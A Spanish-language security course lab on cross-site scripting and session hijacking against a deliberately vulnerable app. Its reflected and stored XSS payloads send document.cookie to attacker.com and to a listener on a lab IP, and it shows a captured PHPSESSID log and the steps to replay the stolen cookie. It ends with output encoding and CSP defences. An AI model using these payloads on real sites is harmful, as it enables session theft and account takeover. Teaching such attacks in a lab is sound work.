Lab 6.3: XSS y Secuestro de Sesión
Objetivos de Aprendizaje
Al final de este laboratorio, usted será capaz de:
- Comprender los ataques Cross-Site Scripting (XSS)
- Diferenciar XSS Reflected, Stored y DOM-based
- Inyectar JavaScript malicioso en una aplicación web
- Robar cookies de sesión
- Realizar un ataque de secuestro de sesión
- Conectarse como otro usuario sin conocer su contraseña
- Detectar vulnerabilidades XSS en el código
- Implementar protecciones (codificación de salida, CSP)
Duración Estimada
35 minutos
Prerrequisitos
- Aplicación web vulnerable (DVWA o aplicación proporcionada)
- Servidor web local (XAMPP/WAMP)
- Navegador web
- Comprensión básica de HTML y JavaScript
- Lab 6.2 (SQL Injection) completado
Contexto Profesional
XSS está clasificado en el OWASP Top 10. Permite:
- Robo de cookies y sesiones
- Desfiguración de sitios
- Redirección a sitios maliciosos
- Keylogging del lado del cliente
- Robo de información sensible
Casos reales:
- Twitter (2010): Gusano XSS auto-propagado
- eBay (2014): XSS persistente
- British Airways (2018): Skimming vía XSS
ADVERTENCIA ÉTICA Y LEGAL
XSS permite robar sesiones de usuario y ejecutar código malicioso en el navegador de las víctimas.
AUTORIZADO:
- Aplicaciones de laboratorio
- Bug bounty autorizado
- Pruebas con permiso
PROHIBIDO:
- Sitios reales sin autorización
- Robo de sesiones ajenas
- Desfiguración de sitios
Parte 1: XSS Reflected
Prueba Básica
En un campo de búsqueda o URL:
<script>alert('XSS')</script>
Si aparece una ventana emergente: ¡Vulnerable!
Explicación: El JavaScript se ejecuta en el navegador de la víctima.
Robo de Cookies
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
¡Cookie enviada al servidor atacante!
Parte 2: XSS Stored (Más Peligroso)
Inyección en Comentarios
En un campo de comentario:
<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>
¡Guardado en la base de datos!
Cada visitante que ve el comentario:
- JavaScript ejecutado
- Cookie robada automáticamente
- Sesión comprometida
Parte 3: Secuestro de Sesión
Paso 1: Robar la Cookie
Payload XSS:
<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
En la VM atacante, escuchar:
python3 -m http.server 8000
Cuando la víctima visita la página:
192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -
Cookie capturada: PHPSESSID=abc123xyz456
Paso 2: Usar la Cookie Robada
Con la extensión "EditThisCookie" o consola de desarrollador:
document.cookie = "PHPSESSID=abc123xyz456";
location.reload();
Actualice la página:
¡BOOM! Conectado como la víctima SIN contraseña!
Parte 4: Protección
Código Vulnerable
echo "Bonjour " . $_GET['name'];
Código Seguro
echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
htmlspecialchars: Convierte < en <, ¡bloquea la ejecución!
Content Security Policy (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
¡Bloquea todo JavaScript inline!
Entregables
- Informe con capturas de pantalla de XSS funcional
- Cookie robada y secuestro de sesión exitoso
- Código vulnerable vs seguro
- Recomendaciones de protección
Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 6